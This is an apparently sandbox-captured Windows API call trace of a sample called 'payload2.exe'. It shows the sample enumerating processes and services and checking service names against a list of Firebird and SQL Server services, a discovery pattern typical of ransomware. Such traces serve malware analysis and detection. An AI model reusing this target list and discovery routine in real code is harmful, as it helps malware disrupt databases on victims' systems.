	[0165.230] lstrlenW (lpString="SysMain") returned 7
	[0165.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0165.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0165.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0165.230] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0165.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0165.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0165.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0165.230] lstrlenW (lpString="Themes") returned 6
	[0165.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0165.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0165.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0165.230] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0165.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0165.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0165.230] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0165.246] lstrlenW (lpString="CDPUserSvc_149dd") returned 16
	[0165.246] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6b4b58 | out: hHeap=0x610000) returned 1
	[0165.246] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c
	[0165.252] Process32FirstW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0165.253] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0165.253] lstrlenW (lpString="System") returned 6
	[0165.253] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0165.253] lstrlenW (lpString="smss.exe") returned 8
	[0165.253] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.254] lstrlenW (lpString="csrss.exe") returned 9
	[0165.254] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0165.254] lstrlenW (lpString="wininit.exe") returned 11
	[0165.254] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.255] lstrlenW (lpString="csrss.exe") returned 9
	[0165.255] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0165.255] lstrlenW (lpString="winlogon.exe") returned 12
	[0165.255] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0165.255] lstrlenW (lpString="services.exe") returned 12
	[0165.256] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0165.256] lstrlenW (lpString="lsass.exe") returned 9
	[0165.256] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0165.256] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0165.256] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0165.257] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0165.257] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.257] lstrlenW (lpString="svchost.exe") returned 11
	[0165.257] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.258] lstrlenW (lpString="svchost.exe") returned 11
	[0165.258] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0165.258] lstrlenW (lpString="dwm.exe") returned 7
	[0165.258] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.258] lstrlenW (lpString="svchost.exe") returned 11
	[0165.258] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.259] lstrlenW (lpString="svchost.exe") returned 11
	[0165.259] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.259] lstrlenW (lpString="svchost.exe") returned 11
	[0165.259] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.260] lstrlenW (lpString="svchost.exe") returned 11
	[0165.260] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.260] lstrlenW (lpString="svchost.exe") returned 11
	[0165.260] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.261] lstrlenW (lpString="svchost.exe") returned 11
	[0165.261] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.261] lstrlenW (lpString="svchost.exe") returned 11
	[0165.261] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.261] lstrlenW (lpString="svchost.exe") returned 11
	[0165.261] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.262] lstrlenW (lpString="svchost.exe") returned 11
	[0165.262] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.262] lstrlenW (lpString="svchost.exe") returned 11
	[0165.262] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0165.263] lstrlenW (lpString="spoolsv.exe") returned 11
	[0165.263] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.263] lstrlenW (lpString="svchost.exe") returned 11
	[0165.263] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0165.264] lstrlenW (lpString="audiodg.exe") returned 11
	[0165.264] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0165.264] lstrlenW (lpString="sihost.exe") returned 10
	[0165.264] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.264] lstrlenW (lpString="svchost.exe") returned 11
	[0165.264] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0165.265] lstrlenW (lpString="taskhostw.exe") returned 13
	[0165.265] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0165.265] lstrlenW (lpString="msoia.exe") returned 9
	[0165.265] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0165.266] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0165.266] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0165.266] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0165.266] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0165.267] lstrlenW (lpString="Memory Compression") returned 18
	[0165.267] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0165.267] lstrlenW (lpString="explorer.exe") returned 12
	[0165.267] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0165.267] lstrlenW (lpString="SearchUI.exe") returned 12
	[0165.267] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0165.268] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0165.268] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0165.268] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0165.268] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0165.269] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0165.269] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0165.269] lstrlenW (lpString="payload2.exe") returned 12
	[0165.269] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0165.270] lstrlenW (lpString="cmd.exe") returned 7
	[0165.270] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0165.270] lstrlenW (lpString="conhost.exe") returned 11
	[0165.270] Process32NextW (in: hSnapshot=0x33c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0165.270] CloseHandle (hObject=0x33c) returned 1
	[0165.270] Sleep (dwMilliseconds=0x1f4) 
	[0165.999] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64d838
	[0165.999] EnumServicesStatusExW (in: hSCManager=0x64d838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0166.000] GetLastError () returned 0xea
	[0166.000] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x4430738
	[0166.000] EnumServicesStatusExW (in: hSCManager=0x64d838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4430738, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4430738, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0166.001] CloseServiceHandle (hSCObject=0x64d838) returned 1
	[0166.001] lstrlenW (lpString="AppXSvc") returned 7
	[0166.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0166.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0166.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0166.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0166.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0166.001] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0166.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0166.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0166.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0166.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0166.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0166.001] lstrlenW (lpString="Audiosrv") returned 8
	[0166.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0166.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0166.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0166.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0166.002] lstrlenW (lpString="BFE") returned 3
	[0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0166.002] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0166.002] lstrlenW (lpString="CDPSvc") returned 6
	[0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0166.002] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0166.002] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0166.003] lstrlenW (lpString="CryptSvc") returned 8
	[0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0166.003] lstrlenW (lpString="DcomLaunch") returned 10
	[0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0166.003] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0166.003] lstrlenW (lpString="Dhcp") returned 4
	[0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0166.003] lstrlenW (lpString="Dnscache") returned 8
	[0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0166.003] lstrlenW (lpString="DPS") returned 3
	[0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0166.004] lstrlenW (lpString="DsmSvc") returned 6
	[0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
